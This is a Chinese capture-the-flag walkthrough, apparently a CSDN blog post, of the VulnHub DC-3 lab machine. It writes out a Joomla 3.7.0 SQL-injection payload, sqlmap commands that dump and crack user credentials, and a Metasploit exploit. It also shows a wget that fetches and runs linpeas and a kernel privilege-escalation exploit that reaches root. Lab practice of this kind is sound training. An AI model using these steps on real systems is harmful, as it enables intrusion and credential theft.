vulnhub DC-3 靶机渗透测试

 使用zenmap高速扫描主机

#-sV开启版本检测
#--min-rate 5000每秒最少发送5000个包
nmap -sV -p - --min-rate 5000 192.168.63.8

80端口开放后,打开网页查看

 使用whatweb查看web信息

发现该网站使用的是Joomla!的CMS

输入命令  安装Joomla专用的扫描工具 joomscan

sudo apt install joomscan

 输入命令 对网站进行扫描:

sudo joomscan --url http://192.168.63.8/

 发现版本号后,使用searchsploit查看该版本cms是否有漏洞

 发现两个,可以尝试使用这个sql注入漏洞,

启动msf,在msf中搜索CMS的版本号,找到sql注入利用工具:

msfdb run
search Joomla 3.7.0

 使用他

use exploit/unix/webapp/joomla_comfields_sqli_rce
set RHOSTS 192.168.63.8
run

运行以后,报错提示找不到登陆过的用户(所以,我们只要能登陆上去就应该能使用这个脚本)。

 OK,那么我们换种思路。

参照这篇文章:(182条消息) Joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞_joomla3.7_huayimu的博客-CSDN博客z

我们找到了sql的注入方式和paylod

192.168.xxx.xxx:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,<注入点>),1)

然后我们使用sqlmap,构建命令:

sqlmap "192.168.63.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,*),1)" --dbs

 爆出库名,我们继续爆表名

sqlmap "192.168.63.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,*),1)" -D joomladb --tables

 继续爆字段名:

sqlmap "192.168.63.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,*),1)" -D joomladb -T "#__users" --columns

 然后爆出全部的name,username,password

sqlmap "192.168.63.8/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,*),1)" -D joomladb -T "#__users" -C name,username,password --dump

 把密文放在文件里,然后使用john尝试暴力破解密文

sudo john '/home/kali/桌面/admin.hash'

 破解后的密码是:snoopy

我们使用账号admin,密码snoopy登陆到后台,再次回到msf中的利用脚本,输入run运行脚本

拿到shell以后,我们上传漏洞检测脚本,寻找提权漏洞

#在meterpreter中进入shell交互模式
shell
#下载脚本
wget https://github.com/carlospolop/PEASS-ng/releases/download/20230514-85dabdc9/linpeas.sh
#给运行权限
chmod +x linpeas.sh
#运行
./linpeas.sh

 找到了不少漏洞可用,但就这个漏洞好使:CVE-2016-4557。

 在另一个终端,搜索漏洞详情

searchsploit --cve CVE-2016-4557

 获取漏洞详情

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

 得到一个漏洞利用脚本下载链接,我们把他down下来,然后解压

 在meterpreter终端上传解压出的exploit.tar文件

 upload /home/kali/桌面/39772/exploit.tar

进入shell解压他

#进入shell交互模式
shell
#给权限
chmod +x exploit.tar
#执行解压
tar -xf exploit.tar
#进入解压后的目录
cd ebpf_mapfd_doubleput_exploit

然后运行compile.sh编译c程序

#给可执行权限
chmod +x compile.sh
#运行编译
./compile.sh

 如果有报错请忽略

然后等待一下,输入ls查看目录内容,发现多了几个可执行文件

 我们直接运行./doubleput 进行提权

 等待几秒钟,然后输入whoami查看自己的权限

已经是root,直接cd到 /root目录,ls查看文件 

 查看flag文件, 拿下

cat the-flag.txt

 __        __   _ _   ____                   _ _ _ _ 
 \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
                                                     

Congratulations are in order.  :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值